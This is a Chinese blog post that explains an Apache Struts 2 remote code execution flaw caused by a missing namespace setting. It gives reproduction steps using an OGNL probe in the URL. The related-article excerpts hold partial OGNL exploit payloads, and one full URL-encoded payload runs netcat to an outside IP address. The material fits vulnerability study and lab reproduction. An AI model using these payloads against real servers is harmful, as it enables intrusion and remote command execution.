Apache Struts 2框架漏洞

于 2024-08-07 15:16:36 发布
阅读量218 收藏 2
点赞数 4
文章标签： struts Struts框架漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_68186313/article/details/140991853
版权

漏洞产⽣于⽹站配置XML时如果没有设置namespace的值，并且上层动作配置中并没有设置 或使⽤通配符namespace时，可能会导致远程代码执⾏漏洞的发⽣。同样也可能因为url标签没 有设置value和action的值，并且上层动作并没有设置或使⽤通配符namespace，从⽽导致远程 代码执⾏漏洞的发⽣

1、访问IP:PORT/struts2-showcase

2、在url处输⼊ http://192.168.56.134:8080/struts2- showcase/ ${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了

3、将上⾯验证payload的值修改为我们的利⽤exp

浅秋沐玖
关注
Apache Struts2（S2-045）漏洞升级指南
03-07
Apache Struts2（S2-045）漏洞升级指南，用于指导Apache Struts2（S2-045）漏洞的本地升级工作
Apache_Struts2漏洞(S2-045,CVE-2017-5638)
01-20
关于解决 Apache_Struts2漏洞(S2-045,CVE-2017-5638)，包含说明与所需资源
Apache的Struts2框架严重安全漏洞
07-20
Apache的Struts2框架最近出了一个很严重的漏洞,可以直接执行系统命令 http://www.163.com?%28%27\u0023_memberAccess[\%27allowStaticMethodAccess\%27]%27%29%28meh%29=true&%28aaa%29%28%28%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003d\u0023foo%27%29%28\u0023foo\u003dnew%20java.lang.Boolean%28%22false%22%29%29%29&%28asdf%29%28%28%27\u0023rt.exec%28%22/usr/bin/nc%2067.205.52.169%208888%22%29%27%29%28\u0023rt\u003d@java.lang.Runtime@getRuntime%28%29%29%29=1
Apache Struts2 S2-005 远程代码执行漏洞
m0_63241485的博客
08-20 1542
XWork会将GET参数的键和值利用OGNL表达式解析成Java语句，如：user.address.city=Bishkek&user[‘favoriteDrink’]=kumys//会被转化成触发漏洞就是利用了这个点，再配合OGNL的沙盒绕过方法，组成了S2-003。官方对003的修复方法是增加了安全模式（沙盒），S2-005在OGNL表达式中将安全模式关闭，又绕过了修复方法。整体过程如下：S2-003 使用\u0023绕过s2对#的防御S2-003 后官方增加了安全模式（沙盒）
struts2框架漏洞复现
Bird&Bird
01-07 4676
目录1、S2-001远程代码执行漏洞（CVE-2007-4556）漏洞简介影响范围漏洞复现S2-005 远程代码执行漏洞（CVE-2010-1870）漏洞简介影响版本绕过过程漏洞复现 1、S2-001远程代码执行漏洞（CVE-2007-4556） 漏洞简介 当用户提交表单数据并验证失败时，后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析，然后重新填充到对应的表单数据中。 影响范围 Struts 2.0.0 - 2.0.8 漏洞复现 输入%{1+1},返回2就是存在该漏洞。 获取
Apache Struts2远程代码执行漏洞(S2-001)复现
oiadkt的博客
05-04 2780
Apache Struts2远程代码执行漏洞(S2-001)复现
墨者Apache Struts2远程代码执行漏洞(S2-015）题解
zr1213159840的博客
01-08 2966
这题在网上搜索后，发现是这么进行操作的 首先在地址后面添加 ${1+2}.action 即访问 http://219.153.49.228:43186/${1+2}.action 发现存在回显 然后我们构造以下信息，访问当前的文件夹，发现key.txt %24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDecla
墨者学院_Apache Struts2远程代码执行漏洞(S2-001)
cc_de_csdn的博客
08-26 780
1.由题可得漏洞为S2-001，可知用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析，然后重新填充到对应的表单数据中，所以可以直接构造 Payload 进行命令执行。 2.在密码处输入%{1+1}得到回显是2确认漏洞存在。 3.构造任意执行payload： %{ #a=(new java.lang.ProcessBuilder(new ...
struts2漏洞_【更新】Apache Struts2 远程代码执行漏洞(CVE202017530)
weixin_39897127的博客
12-16 659
漏洞名称:Apache Struts2远程代码执行漏洞(CVE-2020-17530)威胁等级:高危影响范围:Apache Struts 2.0.0 - 2.5.25漏洞类型:远程代码执行利用难度: 中等漏洞分析1Apache Struts2 组件介绍Struts2是一个基于MVC设计模式的Web应用框架。在MVC设计模式中，Struts2作为控制器(Contro...
Apache Struts2远程代码执行漏洞（CVE-2021-31805）安全通告
weixin_44254243的博客
04-15 6513
1. 事件描述 监测发现，开源应用框架Apache Struts存在远程代码执行漏洞（CVE-2021-31805），攻击者可构造恶意的OGNL表达式触发漏洞，实现远程代码执行。受影响版本为Apache Struts 2.0.0~2.5.29。目前，该漏洞已在Apache Struts 2.5.30版本中修复。 事件类型：漏洞利用 事件等级：高危 2. 影响范围 远程代码执行漏洞影响范围： 2.0.0<=Apache Struts <= 2.5.29 不受影响版本 Apache Struts
Struts2漏洞
lin062854的专栏
11-03 3367
Struts 2.3.15版本被曝出存在重要的安全漏洞，主要问题如下   1、可远程执行服务器脚本代码          用户可以构造http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','her
利用活动挂载漏洞处理危险的Apache Struts 2错误
kafankeji的博客
12-18 89
Akamai在一份报告中总结了对该威胁的分析，称要利用该漏洞，攻击者首先需要扫描并识别使用易受攻击的Apache Struts版本的网站或Web应用程序。然后，他们需要发送一个特制的请求，将文件上传到易受攻击的网站或Web应用程序。这个漏洞引起了相当大的关注，因为它的普遍性，它是远程可执行的事实，并且因为它的概念验证漏洞代码是公开可用的。趋势科技的研究人员本周分析了新的Apache Struts漏洞，他们将其描述为一个危险的漏洞，但比2017年的漏洞更难大规模利用，后者只不过是一个扫描和利用问题。
全网最全Struts 2 全版本漏洞检测工具，最新struts漏洞更新
04-18
这个标题提到的是一个全面的Struts 2漏洞检测工具，旨在帮助开发者和安全专家识别并修复Struts 2框架中的各种安全漏洞。 Struts 2的安全问题主要源于其OGNL（Object-Graph Navigation Language）表达式语言的使用，...
关于Apache Struts 2软件存在高危漏洞的紧急通报003
10-16
据统计，中国超过300万家政府网站及其子站使用了Struts框架。 #### 安全建议 针对这一高危漏洞，温州市网络与信息安全信息通报中心建议各相关单位采取以下措施： 1. **立即核查**：检查本单位及所属行业的网站...
Apache Struts2远程代码执行漏洞复现（CVE-2021-31805）
0xSec
01-12 1363
Struts2是一个基于MVC设计模式的Web应用框架，它本质上相当于一个servlet，在MVC设计模式中，Struts2作为控制器(Controller)来建立模型与视图的数据交互。
apache struts2框架命令执行漏洞(s2-045、s2-046)
01-11
Apache Struts2框架是一种流行的开源Web应用程序开发框架，但曾经发生过多个命令执行漏洞，其中包括s2-045和s2-046漏洞。 s2-045漏洞源于在处理远程表达式语言（OGNL）时存在安全漏洞，攻击者可以利用构造特定的...
struts2框架漏洞
最新发布
2301_82000839的博客
06-16 621
对象导航图语言，用于访问对象的字段、方法。基于简化访问java对象属性和调用方法需求，实现字段类型转化等功能；访问列表的元素：peoplelist[0]//正常java代码//表达式写法。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值